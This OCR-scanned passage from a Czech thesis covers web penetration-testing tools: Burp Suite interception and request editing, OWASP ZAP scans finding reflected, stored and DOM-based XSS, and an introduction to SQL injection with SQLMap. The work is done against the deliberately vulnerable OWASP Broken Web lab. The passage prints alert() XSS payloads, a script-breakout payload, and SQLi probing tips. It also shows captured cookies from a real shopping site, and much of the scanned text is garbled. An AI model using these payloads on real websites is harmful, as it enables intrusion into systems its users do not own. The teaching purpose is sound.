
Rejected.........: 0/936000 (0.00%)

Restore.Point....: 935760/1000000 (93.58%)

Restore.Sub.#01..: Salt:® Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Devyj gnerator

Candidates.#01 ... : 606 | 606464429

Hardware.Mon.#01.: Util: 89%

Obr. 86: Hashcat, crackovani hesla
Zdroj: Vlastni zpracovani (2026)

Nastroj Hashcat ma opét mnoho moznosti. Rychlost prolomeni Sestimistného Ciselného hesla
byla podobna rychlosti prolomeni hesla pomoci ndstroje Crunch ve spolupraci s aircrack-ng.
Nejvétsi rozdil mezi obéma nastroji je, Ze aircrack-ng se s pomoci deautentizacnich Gtokd
dokaZze zaméfit na jeden AP, na ktery Utoci, a pritom vytvari nékolik soubord. Hlavni soubor
*.cap je binarni, Cili neni Citelny pro clovéka. Nastroj Hashcat vytvofi pouze jeden soubor,
textovy a Citelny pro Clovéka, ale na druhou stranu sbird vSechny informace okolo, tedy
vSechny typy handshake. Nezaméfuje se pouze na jeden AP.

2.7 Burp Suite — skenovani webl

Nastroj Burp Suite slouzi zejména jako proxy server mezi klientem a serverem. Kdyz klient
odesle pozadavek na server, Burp Suite poZadavek zachyti, analyzuje a aZ poté ho prepusti dale
na server. Zachycené pozadavky lze rovnéz editovat, nez se poslou dale. CoZ se tyka vSech
informaci od klienta, jako jsou prihlaSovaci Udaje, formulare, informace o hostitelském zafizeni
a podobné. PoZadavkl miZe byt mnoho. Burp Suite ma grafické rozhrani, které se nacte
vypsanim prikazu burpsuite do termindlu. Burp Suite ma placenou Professional verzi, ve které
je vice moZnosti. Community Edition je zdarma a nabizi o néco méné nez ve verzi Professional.
Pti zakladnim nastaveni Burp Suite ve verzi Community Edition je zapotiebi pfi jeho startu
zvolit Temporary project in memory (ukladat na disk jde pouze v placené Professional verzi)
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a Use Burp defaults (zakladni nastaveni Burp Suite). Poté se nacte hlavni nabidka (What is Burp
Suite?, 2024).

V zéloZce Proxy je nejdfive nutné nastavit rozhrani na karté Proxy settings. Kdyby nebylo na
karté Proxy settings jiz nastaveno Proxy listeners interface 127.0.0.1:8080, nastavi se rucné
pres tlacitko Add. Zvoli se moZnost Specific address nebo Loopback only (libovolnd moznost),
nastavi se adresa 127.0.0.1, port 8080 a kfizkem se okno uzavie. CoZz znamena, Ze vSechny
pozadavky z prohlize¢e se budou zachytdvat na adrese localhost 127.0.0.1 v Burp Suite.
Nastaveni proxy serveru musi byt na adrese 127.0.0.1:8080. V prohlizeci Firefox se najde
v Nastaveni, Nastaveni, v ¢asti General a UpIné dole Network Settings, Settings je nutné zvolit
Manual Proxy Configuration adresa 127.0.0.1, port 8080 a zaskrtnout pole Also use this proxy
for HTTPS a potvrdit tlacitkem OK. Pokud se ukonci prace s Burp Suite, nesmi se zapomenout
vratit nastaveni ve Firefoxu a zaskrtnout moZnost No proxy v Settings, v Network settings. Jinak
nebude prohlize¢ fungovat. Dale vlevo nahofe je tladitko Intercept off/on, coZ znamena
v prekladu zachytavani vypnuto/zapnuto (What is Burp Suite?, 2024).

2.7.1 Zachyceni a analyza HTTP(S) komunikace

HTTP komunikace — pfi nacitani jakékoli neSifrované HTTP stranky Ize zachytit pozadavky mezi
klientem a serverem. V Burp Suite, v zdloZce Proxy, kdyzZ se zapne Intercept on a stranku HTTP
opét nacteme, lze vidét vSechny pozadavky ze strany klienta. V prohlizeci klienta se po
aktualizaci strdnka nenacita, ¢ekd na povoleni ze strany Burp Suite. Obsah stranky lze
pochopitelné ménit a az poté kliknout Forward, ¢imz se povoli pfeposlani pozadavku na server
a klientovi se stranka zacne nacitat. Stranka se nacita postupné podle toho, jak se potvrzuji
jednotlivé pozadavky tlacitkem Forward, protoZe téch poZadavkl je vice. Na Forward lze
napriklad kliknout i osmkrat, neZ se celd stranka nacte. Jeden klik na Forward, jeden
preposlany poZadavek na server (Burp Suite: The Basics — TryHackMe Walkthrough, 2025):

Burp Project Intruder Repeater View Help Burp Suite Community Editionv2026.2.3 - Temj
Dashboard Target Proxy ®  Intruder Repeater Collaborator Sequencer Decoder Comparer Lo
Intercept ®*  HTTP history WebSockets history Match and replace @ Proxy settings

I @ Intercepton I > Forward | ~ I Drop w

Time Type  Direction Method URL

19:04:385... HTTP < Request GET http:/195.113.207.163/~jirka04/TIS/ol/ovl.html
Request
Pretty Eaw He

1 GET f~jirka@4/TISfcvl/cvl. html HTTP/l.1

2 Host: 195.113.207.163
3 User-Agent: Mozilla/5.0 (X11: Linux x86 64; rv:140.0) Gecko/20100101 Firefox/140.0

4 Accept: textshtml,application/xhtml+xml,application/xml ;g=0.9,%/%;q=0.8

5 Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate, br

7 Connection: keep-alive

8 Upgrade-Insecure-Requests: 1

2 If-Modified-Since: Thu, 14 Dec 2023 16:03:24 GMT

O If-Mone-Match: "418-60cTascSfeboo”
L =L

Obr. 87: Burp Suite, zachyceni HTTP komunikace
Zdroj: Vlastni zpracovadni (2026)
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HTTPS komunikace — pfi pouzivani proxy se nenacitaji HTTPS stranky a hlasi MITM utok, proto
je nutné nejdfive stahnout certifikdt ze strdnek Burp Suite. Tak bude moziné zachytavat
pozadavky i prfes HTTPS Sifrovani. Certifikdt je ke staZeni vpravo nahofe na strankach
http://burp, CA Certificate. Poté, co se stahne, se musi vlozit do prohlizece. Ve Firefoxu se
najde v Nastaveni, Nastaveni, Privacy & Security a zde Certificates, poté View Certificates,
Import (vybere se certifikat) a zaskrtnou se obé moznosti Trust a potvrdi tlacitkem OK. Nyni je
certifikat naimportovany. Pokud se plijde na néjakou HTTPS stranku a zapne se v Burp Suite
Intercept on, vse pljde stejné jako v pfipadé HTTP komunikace (Burp Suite: The Basics —
TryHackMe Walkthrough, 2025):

Burp Project Intruder Repeater View Help Burp Suite Community Editionv2026.2.3 - Temj
Dashboard Target Proxy ®  Intruder Repeater Collaborator Sequencer Decoder Comparer Lo
Intercept ®  HTTP history WebSoeckets history Matchand replace {@ Proxysettings

@ Intercepton 3 Forward | b Drop e

Time Type  Direction Method URL

20:11%:515A... HTTP 3 Request GET https:/fi18n.alza.cz/lcu/Eshop/Payment/cs-cz.json

20119:515A... HTTP 3 Request GET https:/fwww.alza.cz/apilCockies/vi/groups

20119:515A... HTTP 2 Request GET https:/iwww.alza.cz/apilvisitors/df7aa244-73b4-4d75-a33c-b02a 87 df 5e B0/ statusSu

20119:535A.. HTTP 2 Request GET https:/iwww.alza.czfapifcatalog/vi/homePage/categeries/1/promoSections?country=!
Request
Pretty Raw Hex

GET fapifvisitors/df7aa244-73b4-4d75-a33c-b09a87df5e80/statusSunmary HTTR/2

Host: www.alza. cz

Cookie: _ cf_bm=

ZT_cl‘t 3c0rGoIqdv 2Bl HymBEIDyoIs2hluxOWAQcBOt 8-1775413170.1711507-1. 0.1, 1 -aG4DLpbh INHY Vg VXNF Iy . BYt . 412TI
PECETDrOk fhznSY , HFht ODbH7ETRrYwyyt réHek Oourw] BsSwXfakKHoCPaeuulgazILbliw: _cfuvid=

BETgKOLYMA, TEbhSLANBdTh3esNxEz1TPIGh , 2XNgF8- 1775412877, 1922529-1, 0.1, 1-Z3 Nxm_hESbUnMVYs_QOnDDZcywxo.

w K=

dmj INd_SEnIkUn2UlmOWRSS_0zulu2Dz) . mdkmSDesg-1775413170-1, 2,1, 1-SprlHgxulnbOGLGoPr fHL1 fxMvOn_Wriiemy:

KkSEBwK3IZndluhsSfimvdltmbPGLCVEFL Ss3XNVaAvXX10, vOkZb48ELOHIKMribym) JSeTZP2VHMbj uTDZ2r 1. xISHMkPR. HLa 3

ZqWICBoEGFEvopgfKodY 2TShNvSTTfalhFat 2x92x Zbv SOFYRUMKZTxP1i4nJ2E . pfKUoDFMBEDLWYKSML 00a JUCGpE9pdhmih X fi

CvCDxT8YaxBkMIhvIz2ug; 1b_id=d28b7360056010b5e182dbdbfdafg8o0c; VST=df7aa244-73b4-4d75-a33c-b09as7df!
4 User-#Agent: Mozilla/S5.0 (X11: Linux xB6 64: rv:140.0) Gecko/20100101 Firefox/140.0

Obr. 88: Burp Suite, zachyceni HTTPS komunikace
Zdroj: Vlastni zpracovani (2026)

2.7.2 Modifikace poZadavk(

Ke zméné obsahu poZadavkl, pro demonstrativni Ucely, bude zapotiebi OWASP Broken Web,
ktery legdlné umoZnuje vyzkouset nastroje pro penetracni testovani. V OWASP Broken Web se
klikne na Damn Vulnerable Web Application (DVWA), kde jsou pfihlasovaci Udaje admin
a admin. Jesté dfive, nez dojde k pfihlaseni, se zapne v Burp Suite Intercept on a poté se
pfihlasi do DVWA Spatnymi Udaji, tfeba Pass a Pass. ProtoZe se jednd o HTTP komunikaci,
prihlasovaci Udaje Ize okamzité spattit jako plain text v poZzadavku metody POST v Burp Suite.
Zaroven se jesté na DVWA nenacetla stranka po prihlaseni, neustdle se ¢eka na potvrzeni
pozadavku v Burp Suite. CoZ umoznuje pozadavek editovat pfed potvrzenim tlacitkem
Forward. V tuto chvili se nabizi jeSté moZnost pouzit Drop, neboli zahodit poZadavek. Pokud se
radky s prihlaSovacimi Udaji v Burp Suite nepfepisi, pfihlaseni se nepodafi. Naopak pokud se
opét prihlasi se Spatnymi pfihlaSovacimi uUdaji a radky poZadavku se prepisi na spravné,

106



Vysoka skola polytechnicka Jihlava

poZadavek se odesle a pfihlaseni se podafi. Takto lze libovolné editovat jakékoli poZadavky
(Burp Suite: The Basics — TryHackMe Walkthrough, 2025):

Burp Project Intruder Repeater View Help Burp Suite Community Editionv2026.2.3 - Temj
Dashboard Target Proxy ®  Intruder Repeater Collaborater Sequencer Decoder Comparer Lo
Intercept ®*  HTTPhistory WebSockets history Matchand replace {6} Proxysettings

@ Intercepton < Forward |v Drop v

Time Type  Direction Method URL

20:58:505... HTTP < Request POST I httE:H192.163.204.132!dea.|’l§in.ghg I
Request
Pretty Raw Hex

, Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

Origin: http://192.168, 204,132

10 Connection: keep-alive

11 Referer: http://192.168.204,132/dvwa/login.php

12 Cookie: security=low; PHPSESSID=cugkCOlsokie&3bf79mgpngavhd; acopendivids=swingset,jotto, phpbb2, redm:
13 Upgrade-Insecure-Requests: 1

14 Priority: u=0, i

15
16Iusername=pass&£assword=pass&Login=Login I

Obr. 89: Burp Suite, potvrzeni Spatnych tddajt
Zdroj: Vlastni zpracovani (2026)

W=l

Burp Project Intruder Repeater View Help Burp Suite Community Editionv2026.2.3 - Temj
Dashboard Target Proxy ®  Intruder Repeater Collaborater Sequencer Decoder Comparer Lo
Intercept ®*  HTTPhistory WebSockets history Matchand replace {6} Proxysettings

@ Intercepton <+ Forward |v Drop ~

Time Type  Direction Method URL

21:05:005... HTTP < Request POST :192.168.204.132/dvwa/login.php

21:03:175A.. HTTP 3 Request POST e adE Mo, OTgqry [ ad
21:05:175A... HTTP 3 Request GET http:/192.168.204.132/dvwallegin.php
Request

Pretty Raw Hex

un

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

Origin: http://192.168.204.132

10 Connection: keep-alive

11 Referer: http://192.168.204,132/dvwa/login.php

12 Cookie: security=low; PHPSESSIC=cugkClsokie&3bf7Smgpnogavh@: acopendivids=swingset,jotto, phphb2, redm:
13 Upgrade-Insecure-Requests: 1

14 Priority: u=0, i

15
16 Iusername=admin&gassword=admin&Login=Login I

Obr. 90: Burp Suite, pfepsani spravnych tdaja
Zdroj: Vlastni zpracovadni (2026)

R ]
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2.7.3 Request a response

Dalsi uzitecnou zdlozkou v neplacené verzi je zdlozka Repeater. V Repeateru jsou dvé okna
Request (pozadavek) a Response (odpovéd). Pokud se posle poZzadavek do Repeateru, Ize
v ném rovnou odhalit, jaka se vrati odpovéd' ze serveru. V OWASP Broken Webu se pfihlasi na
Damn Vulnerable Web Application (DVWA) se Spatnymi pfihlaSovacimi Udaji a diky zalozZce
Proxy a moznosti Intercept on se zachyti pozadavek, na ktery se klikne pravym tlacitkem mysi
a vybere se moznost Send to Repeater. V zaloZce Repeater Ize poté dat mozZnost vlevo nahore
na Send a Burp Suite ukaZe odpovéd serveru. Coz je velmi uZitecné pro editaci pozadavkd,
hned lze spatfit, jaka bude odpovéd. Na prikladu Spatnych prihlasovacich udajl pti pfihlaseni
server odesle odpovéd v podobé odkazu Location: login.php a hned lze pochopit, Ze
prihlasovaci Udaje jsou Spatné. Se spravnymi pfihlasovacimi Udaji ptijde v odpovédi Location:
index.php (Burp Suite: The Basics — TryHackMe Walkthrough, 2025):

Burp Project Intruder Repeater View Help Burp Suite Community Editionv2026.2.3 - Temporary P
Dashboard Target Proxy ®  Intruder Repeater Collaborator Sequencer Decoder Comparer Logger
= +

m £ Cancel LAl Follow redirection *¢ BurpAl

Request Response

Pretty Raw Hex w0y L L— Pretty Raw Hex Render

POST fdvwa/login.php HTTR/1.1
Host: 192.168,204.132
User-Agent: Mozilla/S5.0 (¥11; Linux xB86_64; rv:140.0)

HTTP/1.1 302 Found
Date: Sun, 05 Apr 2026 21:05:45 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mor

Wk
w R

Gecko/20100101 Firefox/140.0 PHP/5. 3. 2-1ubuntu4, 30 with Suhosin-Pai

4 Accept: mod_pythen/2.3.1 Python/2.6.5 med_ssl,
text/html,application/xhtml+xml,application/xml;g=0.9, % /*;g=0 Phusion_Passenger/4.0.38 mod_perl/2.0
.8 4 X-Powered-By: PHP/S.3.2-lubuntud.30

5 Accept-Language: en-US,en;g=0.5 5 Expires: Thu, 19 Mov 1981 085:52:00 GM

& Accept-Encoding: gzip, deflate, br & Cache-Control: no-store, no-cache, mus

7 Content-Type: application/x-www-form-urlencoded post-check=0, pre-check=0

2 Content-Length: 41 7 o e St L

9 Origin: http://192.168,204.132 Sl Location: index.php

10 Connectian,, keep alive - 3

11 Referer: http://192.168.204. 132/dvwa/login.php 10 Content-Length: ©

12 Cookie: security=low; PHPSESSID=cugkOlsckieG3bf79mgpngavhd; 11 Keep-Alive: timeout=15, max=100
acopendivids=swingset,jotto,phpbbZ, redmine; 12 Connection: Keep-Alive
acgroupswithpersist=nada 13 Content-Type: text/html

12 Upgrade-Insecure-Requests: 1 14

14 Priority: u=0, 1 15

15

1

'I username=admnin&password=admin&lLogin=Login I

Obr. 91: Burp Suite, request a response
Zdroj: Vlastni zpracovdni (2026)

2.7.4 Analyza webl

Vsechny webové zavislosti jdou pres Burp Suite. V zaloZce Target jsou k vidéni vSsechny webové
adresy, které se navstivily a vSechny jejich podpurné soubory, jako jsou obrazky, CSS soubory,
URL odkazy, které jsou nezbytné pro nacteni webu. RovnéZ jsou vidét i stavové kddy stranek,
kde 200 znamena v poradku nactend stranka, 302 je presmérovani, 404 nenalezena stranka,
500 chyba serveru a podobné. Dale jsou k vidéni zalozky Request (poZadavek) a Response
(odpovéd). V Response Ize spatfit kompletni HTML kéd stranky, hexadecimalni zapis i nahled
stranky. Ukazatel typu poZadavku, napfiklad metoda POST (odeslani formulafe na server)
a metoda GET (pfijeti odpovédi na poZzadavek ze serveru). V zaloZce Target jsou vidét vSechny
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zavislosti, které stranky potfebuji pro svij provoz. Diky zaloZce Target Ize spatfit vSechno, co se
déje na pozadi, béhem pfipojeni k urcitému webu (Burp Suite: The Basics — TryHackMe
Walkthrough, 2025):

Burp Project Intruder Repeater View Help Burp Suite Community Editionv2026.2.3 - Temporary
Dashboard Target Proxy ®  Intruder Repeater Collaborator Sequencer Decoder Comparer Logger
Site map Scope lssues

W Site map filter: Hiding not found items; hiding CSS, image and general binary content; hiding 40 respenses; hiding empty folders

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate, br

> (5 www.googleadservices.com 7 Conmtent-Type: application/x-www-form-urlencoded
2 Content-Length: 41

9 Origin: http://192. 168,204,132

> (&) www.google.com

» (& 1161575864 rsc.cdn77.org Host Method  URL Params  Statuscode ~
> () 1452430460.rsc.cdn77.org httpe/192.168.204.132 GET / 200

& http:/[192.168.204.132 GET lanimatedcollapse.js 200
9 [apils it 1B http:/192.168.204.132  GET JdvwaldvwaljsidwaPage... 200
» (7 195.113.207.163 httpc//192.168.204.132 GET [dwwalindex.php 200
s & 195113.207 163:8036 http://192.168.204.132 GET n':iwuan'lc-g.ln..php 200

. ) http:/192.168.204.132 GET liguery.min.js 200
> (0 ajax.googleapis.com httpe//192.168.204.132 GET [dwwa 301
> & alzacz http://192.168.204132  GET Jdwwal 302

it [ http:/f192.168.204.132 POST Idwwa/login.php o 302

> @ cdnalza.cz http://192168.204132  POST /dvwallogin.php v 302
» 6 www.alza.cz httrel[197 1RR 704 132 FT Tehanra flamnit nhin an
¥ & www.alza.cz Request Response
> (@ challenges.cloudflare.com
> (& static.cloudflareinsights.com Fety Raw Hex
» (5 ekospace.cz 1 POST /dvwa/login.php HTTR/1.1
- K 2 Heost: 192.168.204.132

A MO e S User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:140.0) Gecko/201C
> (& pay.google.com 4 Accept: text/shtml,application/xhtml+xml,application/xml;g=0.9,%/

5

> (&) www.googleoptimize.com

Obr. 92: Burp Suite, analyza web
Zdroj: Vlastni zpracovdni (2026)

V Burp Suite lze rovnéZ v zaloZce Intruder vytvorit slovnikovy Utok na hesla, bohuzel postup
plUsobi dost neohrabané a moznosti je malo. K Utoku na hesla je prece jen lepsi pouzit jiné
nastroje. Burp Suite je vyborny nastroj na webové analyzy, v mnohém je lepsi nez OWASP ZAP,
avsak pouze diky své placené Professional verzi, kterd nabizi i skenovani webu za ucelem
odhaleni zranitelnosti. Mezi jeho nejvétsi prednosti v neplacené Community Edition patfi
zachyceni a editace pozadavk(. Neplacena Community Edition nabizi méné moznosti.

2.8 OWASP ZAP — Cross-Site Scripting

OWASP ZAP (Zed Attack Proxy) je bezplatny open-source nastroj uréeny pro testovani
bezpecnosti webovych aplikaci. Funguje jako proxy server mezi klientem a serverem. Zachycuje
provoz automaticky i manudlné a vyhleddva zranitelnosti typu SQL injection a XSS. Ucel
nastroje je stejny jako u Burp Suite, jednd se o dva podobné programy se stejnymi nebo
podobnymi funkcemi. Burp Suite je sice oblibenéjsi a vykonnéjsi, nicméné verze Professional,
kterd umoznuje skenovani webovych aplikaci, neni zdarma. OWASP ZAP je oproti Burp Suite
zcela zdarma, véetné moznosti skenovdni webovych aplikaci. ZAP automaticky skenuje HTTP
pozadavky (request) a odpovédi (response) pasivné i aktivné. Aktivni skenovani znamena
simulaci utokd k nalezeni zranitelnosti. OWASP je mezinarodni oteviena komunita, ktera se
zaméfuje na zvySovani bezpecnosti software. ZAP se musi nejdfive nainstalovat (sudo apt
install zaproxy), v nékterych verzich distribuce Kali Linux je v zdkladnim vybaveni. Program se
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spusti prikazem zaproxy. V Uvodni obrazovce se ZAP zeptd, zda se po ukonceni programu ma
prace zachovat. Pokud se bude délat na néjakém projektu delsi dobu, zvoli se ano. Pokud se
véak ukon&i prace bez ulozeni, zvoli se ne. Cili no, | do not want to persist this session at this
moment in time. Na vybér je automatické a manudlni skenovani. Zranitelnosti typu XSS jsou
provadény v jazyce JavaScript. DUleZita je zde opét znalost jazyka JavaScript (Zed Attack Proxy
(ZAP), 2025).

2.8.1 Vyhledavani XSS zranitelnosti

Automatické skenovani - nejdrive ZAP provede funkci Crawl, poté se na nalezené prvky spusti
aktivni testy a nakonec se zobrazi zjiSténé zranitelnosti. Crawl (crawling neboli spidering)
projde odkazy a formulare, objevi dostupné stranky a vstupni body aplikace, zatimco na pozadi
béZi pasivni sken, ktery analyzuje provoz webu (HTTP hlavicky, cookies a nastaveni). Po
skonceni crawlingu se zapne aktivni sken, ktery posild pozadavky na web, aby odhalil
zranitelnosti, aktivni proto, Zze méni data. Aktivni sken poté nahlasi vysledky skenovani (Zed
Attack Proxy (ZAP), 2025).

Manualni skenovani (Explore) - manualni skenovani se provadi ru¢né, pokud se nechce
spoléhat na automatické skenovani. Otevie se web v prohlize¢i napojeném na ZAP, pres
nastavenou proxy (nebo ZAP prohlizec), podobné jako je tomu u Burp Suite, a zachytdvaji se
vSechny pozadavky, které lze prohlizet, upravovat a testovat. Na pozadavcich lze testovat
utoky typu XSS, SQL(i), testovat prihlasovaci Udaje a spoustét fuzzing na vybrané casti nebo
odhalovat skryté cesty. Princip je velmi podobny jako u Burp Suite, upravi se poZadavek
a vyhodnoti odpovéd. Na odpovédi Ize testovat Utoky (Zed Attack Proxy (ZAP), 2025).

Na ptikladu byla v OWASP Broken Web nalezena zranitelnost typu XSS pomoci automatického
skenovani OWASP ZAP:

= History ©,Search [WAlerts & | Qutput
@e J ¢
& Alerts (25)

Fl Cross Site Scripting (Reflected) (2)
B GET:http://192.168.204.132/mutilidas/in

| | GET:http://192.168.204.132/mutillidae/we
[Fl Path Traversal (2)
F SQL Injection - MySQL (3)
[f SQL Injection - SQLite (Time Based)
{Hl Absence of Anti-CSRF Tokens (2)
p4 Content Security Policy (CSP) Header Mot Set
U Missina Anfi-clickiackinn Header (Swstemic

Alerts 14 Fu4 U9 [FB 8 Main Proxy: localhost:80

Obr. 93: OWASP ZAP, vyhledana zranitelnost XSS
Zdroj: Vlastni zpracovdni (2026)
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A Active Scan & Spider 3 AJAX Spider

Cross Site Scripting (Reflected)

URL: http://192.168.204.132/mutilidae/includes/pop-up-help-context-generator.php?pagel
' v%3E%3 Cscrlpt%3Ealert %281 %29%3B8%3C%2F scRipt %3 E%3 Cdiv¥3E

Risk: B High
Confidence: Medium
Parameter: pagename

Attack: =/div=<script=alert(l); </scRipt><div=

Evidence: </div=<script=alert(1); </scRipt><div>

CWE 1D 79

WASC ID: 8

Source: Active (40012 - Cross Site Scripting (Reflected))

Innut Wector: LIRI Ouery Strinag

30 Current Status 0 0 20 @0 A0 %0 %

Obr. 94: OWASP ZAP, informace o zranitelnosti XSS
Zdroj: Vlastni zpracovadni (2026)

Pravym tlac¢itkem mysi Ize konkrétni zranitelnost otevfit v prohlizeci:

O & NotSecure  http://192.168.204.132/mutillidae/includes/|

» Kali Docs & Kali Forums e Kali NetHunter - Exploit-DB Google Hacking DB

€ 192.168.204.132

1

Obr. 95: OWASP ZAP, zranitelnost XSS na webu
Zdroj: Vlastni zpracovani (2026)

Untitled Session - ZAP 2.17.0

Online  Help
e Em@mEhd V@ % [ Eoe g |
&7 Quick Start  =r Request <= Response 7 Requester =

Header: Text || Body: Text ~ || [E [

HTTP/1.1 200 OK

Date: Tue, 07 Apr 2026 09:15:14 GMT

Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntud4.30 with Suhosin-Patch
proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl1/2.2.14 OpenSSL/0.9.8Kk Phusion_
Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.2-1lubuntud.30

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=08, pre-check=0

MNirmmma s e e me e
<div=&nbsp;</div>= <div class="help-text-header">
Page =/div==scrlpt=alert(l);=/scRipt==div= does not have any
help documentation.</div=<div=&nbsp;</divz]|
Obr. 96: OWASP ZAP, kdd zranitelnosti XSS
Zdroj: Vlastni zpracovdni (2026)
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2.8.2 XSS Reflected/Stored

Pomoci klavesy F12 ve webové aplikaci, ve vyvojovém prostredi, Ize v zaloice Console vlozit
vlastni JavaScriptovy kdd, kde si lze vyzkouset reakci webu na kdd. XSS Ize rozdélit na dva typy.
Jednak na Stored, kde je JavaScript vloZeny pfimo v kédu stranky (pfi nacteni stranky vyskoci
JavaScript) a jednak na Reflected, ktery neni uloZeny v kddu stranky, ale v URL odkazu stranky
(XSS Playground, 2025).

Reflected — opét Ize vyzkouset v OWASP Broken Webu, kde se v DVWA, ve sloupci vybéru zvoli
moznost XSS Reflected. Zde se napiSe JavaScriptovy kéd (musi byt oznacen HTML znackami
<script> a </script>) <script>alert('ahoj')</script>, potvrdi se a kdd se prida za URL stranky.
Upravenou URL adresu lze nékomu poslat a JavaScriptovy kdd se u néj spusti. Kéd se neuklada
do kodu stranky, po aktualizaci stranky JavaScriptovy kéd zmizi. JavaScriptovy kéd ma obrovské
moznosti a zalezi na autorech stranek, jak nastavi zabezpeceni svého webu:

192.168.204.132/d

s, Kali Forums e Kali NetHunter Exploit-DB OffSec KaliLinux # KaliTools = Kali Docs

o)

What's your name?

| <script=alert('ahaj)</script> | Submit |

Obr. 97: OWASP ZAP, JavaScript v URL odkazu
Zdroj: Vlastni zpracovdni (2026)

Stored — Kdd JavaScriptu se uklada pfimo do kédu stranek, typicky pres néjaky formulaf. Je
ulozeny pfimo v kddu a nedd se odstranit, castymi obétmi Stored XSS kddu jsou stranky, kde se
néco vkladd, obvykle internetovd féra a podobné. Priklad vloZeni kddu do formuldfe je stejny
jako u Reflected. Pfi kazdé navstévé stranek se JavaScript spusti. Formulafe maji obvykle
omezeny pocet znak(, coZ lze opét vyresit ve vyvojovém prostredi stisknutim klavesy F12
v zéloZce Inspector, kde se najde spravny prvek a zvysi se zde pocet maxlength="10" tfeba na
100. Pak bude mozné vkladat i dlouhé kddy i do jinych kolonek formulare:
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Mame * |test

<script=alert('test')</script> I

Message *

Name: test
Message: This is a test comment.

I Message: I

Obr. 98: OWASP ZAP, JavaScript v kddu stranky
Zdroj: Vlastni zpracovani (2026)

2.8.3 DOM Based XSS

DOM Based XSS — DOM Based Cross-Site Scripting (Document Object Model) znamena vloZeni
JavaScriptového kodu primo do HTML kddu stranky. Lze opét vyzkouset v OWASP Broken Web,
kde se z Uvodni stranky prejde na OWASP Mutillidae I, OWASP 2013, A3 Cross Site Scripting
(XSS), DOM Injection, Password Generator. Zde je k dispozici generator hesel napsany
v JavaScriptu, Ze je napsany v JavaScriptu, se pozna podle toho, Ze kdyZ hesla generuje, nacita
se pouze prvek generace hesel, nikoliv celd stranka. Stranka nevysild pozadavek na server, aby
néco vratil, aktualizuje se pouze prvek Generate Password. Na strance neni zadny formular.
Zadad se tedy do URL stranky za username=<script>alert('ahoj')</script> a poté, co se
pozadavek potvrdi, server vrati "; }catch(e){ alert("Error: " + e.message); }// end catch na konci
stranky. Podle téchto prvkd Ize nalézt ve zdrojovém kddu stranky radek, kde se nachazi viozeny
JavaScriptovy kéd. Zde Ize vidét, Ze pred nim neni fadné ukoncen jiny skript, musi se tedy zacit
ukonéenim predchazejiciho skriptu username=</script><script>alert('ahoj')</script>. Nyni
vloZeny kéd funguje (XSS Playground, 2025):

[ Password Generator

Making strong passwords is important.
Click the button below to generate a password.

[ Generate Password ]

":; Ycatch(e){ alert("Error: " + e.message); }// end catch

Obr. 99: OWASP ZAP, DOM Based JavaScript rozbity skript
Zdroj: Vlastni zpracovdni (2026)

SCript>

Ty
document . getElementById("idUsernameInput”).innerHTML = "This password is forlcscript:-alert['ahoj'}:fscript:"l
lcatch(e){
alert("Error: " + e.message);
}// end catch
</script>

Obr. 100: OWASP ZAP, DOM Based JavaScript kéd
Zdroj: Vlastni zpracovani (2026)
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Prilezitosti na procvi¢eni nejen XSS DOM Based ale i ostatnich typ( XSS je na internetu spousta,
nemusi se jednat se o OWASP Broken Web:

/ XSS - RelHected (UsoON) /

Search for a movie: | | Search |
??? Sorry, we don't have that movie :("}]}'; // var JSONResponse = eval ("(* + JSONResponseString + ")
JSONResponse = JSON.parse(JSONResponses

document.getElementByld("result").innerHTML=JSONResponse.movies[0].response;

Obr. 101: OWASP ZAP, DOM Based JavaScript Spatny skript
Zdroj: Vlastni zpracovdni (2026)

2.9 SQLMap —-SQL Injection

SQLMap je open-source nastroj umoznujici vyhledat, zda jsou webové stranky zranitelné vuci
technice SQL Injection (SQLi) a automatizovat procesy, ¢imz Setfi ¢as. SQL Injection je metoda
utoku na databazovy systém, kterd vyuziva Spatné napsany kod aplikace, vétSinou se jedna
o aplikaci webovou, napfiklad redakéni systém nebo e-shop. V praxi SQL Injection znamena
vlozeni Skodlivého kddu jazyka SQL nejc¢astéji do formulafe webové aplikace nebo do
vyhledavaci listy prohlizece. DalSimi moZnostmi mohou byt cookies (hodnoty z cookies se
pfevezmou do SQL dotazu), hlavicky HTTP (hodnoty se pfevezmou z HTTP hlavicky do SQL
dotazu) nebo APl pozadavky (zranitelny backend pres API, posilani JSON nebo XML na server).
Server prevezme dotazy od uzivatele a preposle je na databazovy server, ktery informace
potvrdi a preposle zpét na server. Poté je jako potvrzené informace preposle uZivateli.
Nejcastéjsim cilem SQL Injection jsou pravé informace databazového serveru. Do tabulek je tak
utocnik v pripadé uspésného rozbiti databdze schopen zasahovat a je moziné ziskat celou
databazi uzivatell i s jejich hesly. Jestli je server zranitelny, se ¢asto zkousi vloZzenim rovné
uvozovky v listé prohlizece za odkazem po pfihlaseni na webové stranky nebo do formulare
a pokud se v chybé, kterd nastane, objevi prvky SQL jazyka ¢i hlaseni, které neni typické po
vloZeni Spatnych pfihlasovacich Udaji (napfiklad doslo k neocekavané chybé misto hlaseni
prihlasovaci Udaje nejsou platné), je databazovy server zranitelny. Znamend to, Ze webova
stranka neni oSetfena proti SQL uUtoklm. Samoziejmé, Ze kromé uvozovek se mohou vloZit
i dalsi prvky jazyka SQL jako jsou neuzaviené textové fetézce, neuzaviené zavorky,
neocekavané operatory a rizné jiné znaky. Zakladem je znalost jazyka SQL. Termin Blind SQL
Injection se pouziva pro databazi, ktera nevyhazuje Zadna chybova hlaseni. Pokud se do vstupu
napisi napfiklad uvozovky, nevypise se zadné chybové hlaseni ani prvky SQL jazyka, pouze se
aktualizuje stranka. Proto je tézsi databazi rozbit. SQLMap odhali zranitelnosti mnohem rychleji
